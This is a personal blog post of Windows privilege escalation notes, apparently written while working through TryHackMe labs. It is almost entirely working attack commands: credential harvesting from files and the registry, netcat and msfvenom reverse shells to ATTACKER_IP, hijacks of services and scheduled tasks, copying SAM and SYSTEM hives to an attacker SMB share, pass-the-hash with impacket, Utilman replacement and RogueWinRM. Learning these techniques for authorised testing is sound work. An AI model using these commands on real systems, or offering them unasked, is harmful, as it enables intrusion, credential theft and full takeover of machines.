Windows Privilege Escalation: A Guide for Cybersecurity Professionals
- aldern00b
- Nov 22, 2023
- 6 min read
Updated: Mar 5
Things we're looking for:
Misconfigurations on Windows services or scheduled tasks
Excessive privileges assigned to our account
Vulnerable software
Missing Windows security patches
logs/stored information
Notepad Session Data
C:\Users\[USERNAME]\AppData\Local\Packages\Microsoft.WindowsNotepad_{Random Numbers}\LocalState
Unattended Windows Installations
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Powershell History
using CMD:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Using PS:
$Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Saved Windows Credentials
cmdkey /list
You can't see passwords with this but you can pass them with this:
runas /savecred /user:admin cmd.exe
IIS Configuration
The configuration of websites on IIS is stored in a file called web.config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Find database connection strings:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Retrieve Credentials from Software: PuTTY
To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Scheduled Tasks
schtasks <-- look at all scheduled tasks
E.g.
Folder: \PowerToys
TaskName Next Run Time Status
======================================== ====================== =======
Autorun for Alder N/A Ready
schtasks /Query /TN "\PowerToys\Autorun for jason" /FO List /V <-- get advanced details about the task (need to include the folder with the task name.)
Folder: \PowerToys
HostName: ALDERN00B
TaskName: \PowerToys\Autorun for Alder
<snip...>
Task To Run: C:\Program Files\PowerToys\PowerToys.exe
If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the task user. To check the file permissions on the executable, we use
icacls
If you see (F) as any of the permissions then you have full access. An example reverse shell would be:
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
AlwaysInstallElevated
These two registry entries need to be set
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
If these are set, you can generate a malicious .msi file using msfvenom, as seen below:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
Run it on the local host quietly
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Windows Services
All of the services configurations are stored on the registry under
HKLM\SYSTEM\CurrentControlSet\Services\
SC is a command line program used for communicating with the Service Control Manager and services.
sc query <-- queries all the services
sc qc [SERVICE NAME] <-- gets all the detail for a service
sc qc WslInstaller
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WslInstaller
TYPE : 210 WIN32_PACKAGED_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\Program Files\WindowsApps\MicrosoftCorporationII.WindowsSubsystemForLinux_2.0.9.0_x64__8wekyb3d8bbwe\wslinstaller.exe" <-- the exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Subsystem for Linux
DEPENDENCIES : staterepository
SERVICE_START_NAME : ./AlderN00b <-- run by
I've modified the above to use as an example because this binary isn't actually vulnerable.
Using icacls we check the permissions on the exe and see everyone has full access to the exe. From here, we use MSVenom to create a new binary, overwrite the orignal binary, not forgetting to give everyone full permissions again, and either restart the service or wait for it to restart on it's own.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe <-- create reverse shell on attack box
python3 -m http.server <--host the file on attack bock
Invoke-WebRequest -Uri $url -OutFile $dest <-- PowerShell download
Move and replace the files
==============================
CD C:\Program Files\WindowsApps\MicrosoftCorporationII.WindowsSubsystemForLinux_2.0.9.0_x64__8wekyb3d8bbwe\
move wslinstaller.exe wslinstaller.exe.bkp
move C:\Users\AlderN00b\wslinstaller.exe wslinstaller.exe
icacls wslinstaller.exe /grant Everyone:F <-- permissions set
nc -lvnp 4445 <-- start a nc listener on the attack box
Restart the services (if possible)
====================================
sc stop wslinstaller.exe
sc start wslinstaller.exe
If the service is improperly configured and you're able to run the service as an admin/service account you can also change the bin path to a command and elevate privileges by adding your own account to the admin group
sc config FakeService binpath="cmd /c net localgroup administrators aldern00b /add"
stop and start the service and validate you're in the group with
net localgroup Administrators
Unquoted Service Paths
Unquoted means that the path of the executable isn't properly quoted to account for spaces on the command. When we check for services, like above, look out for non-quoted binary paths we can use.
SCM manager takes these non-quoted paths and does something weird with them. It searches for the file it's looking for recursively, using the spaces in the path as areas.
Example:
C:\Program Files\Stuff Here\runme.exe
SCM will try
C:\Program.exe
C:\Program Files.exe
C:\Program Files\Stuff.exe and on and on.
All we need to do is put an exe in one of the places it's searching for, with the name it wants and we can execute. Now, program files are usually blocked from being written to, so we'll be looking for binaries outside of these areas. We're basically going to do the same process as we did above but we're going to drop a new file in the root called Program.exe
Insecure Service Permissions
using sysinternals access check, we can check the access on the service itself. We'll explore THM's DACL as shown on their privesc study guide.
accesschk64.exe -qlc thmservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
Here it shows that built in users have all access. Like we did above, we're going to create a new exe and start a nc listener then transfer it to the client machine, this time in any area we'd like. Make sure to give everyone permissions on it.
We're then going to point the service to this new binary. Notice we're telling it to run as the LocalSystem as it's the highest privilege account available.
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Now when we stop and start those services, we will get a shell as the local system user!
Windows Privileges
SeBackup / SeRestore
Allow certain users to perform backups from a system without requiring full administrative privileges.
check privlages
whoami /priv
Backup the SAM database (windows passwords)
reg save hklm\system C:\Users\AlderN00b\system.hive
reg save hklm\sam C:\Users\AlderN00b\sam.hive
Transfer the files from the PC to your attackbox using impacket's smbserver.py https://github.com/fortra/impacket/blob/master/examples/smbserver.py . This creates a new public share that points to a new folder called share that we made. It' hosts it on an SMB server.
mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username AlderN00b -password MasterOfTheUnivers69 public share
Back on the PC we copy them to our attack box like this
copy C:\Users\AlderN00b\sam.hive \\ATTACKER_IP\public\
copy C:\Users\AlderN00b\system.hive \\ATTACKER_IP\public\
Using impacket again we cd to the share and get the hashes
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
We're not cracking these, we're going to be passing the hash here, again with impacket
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.18.105
SeTakeOwnership
SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys.
We'll abuse utilman.exe to escalate privileges this time by replacing it with our own binary. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen.
takeown /f C:\Windows\System32\Utilman.exe
Being the owner of a file doesn't mean that you have privileges, but being the owner you can assign yourself any privileges you need.
icacls C:\Windows\System32\Utilman.exe /grant AlderN00b:F
Then we replace the file
copy cmd.exe utilman.exe
Now we lock the screen and press the ease of access button to launch cmd.exe with system privleges.
SeImpersonate / SeAssignPrimaryToken
Allow a process to impersonate other users and act on their behalf. We're using the THM privesc compromised site example here: TryHackMe | Windows Privilege Escalation this user has the appropriate permissions assigned to them.
Using whoami /priv to check our permissions, as always. We're going to upload RogueWinRM to the website we've compromised, along with netcat for Windows.
As explained by THM: The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.
If, for some reason, the WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
We start a nc listener and then we send this as the reverse shell to get back to us:
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
-p is the exe we're running and -e is the command we're passing to it. It may take a 2-3 minutes to happen as it needs to start and stop the BITS service... that's 120 seconds... be patient lol.
Unpatched Software
wmic product get name,version,vendor
WMIC may not be comprehensive though, make sure to manually scan. Once you have a list, here's a few places to check for known exploits:
TOOLS
Please remember that automated tools can sometimes miss privilege escalation. Try and output any of these tools to a output file when available as the data is lengthy. For PowerShell scripts, be sure to Set-ExecutionPolicy.
WinPEAS
PrivEscCheck
WES-NG
Metasploit
If you have a meterpreter shell
multi/recon/local_exploit_suggester
PayloadsAllTheThings
Priv2Admin
RougeWinRM
Potatoes
Decoders Blog
Token Kidnapping
HackTricks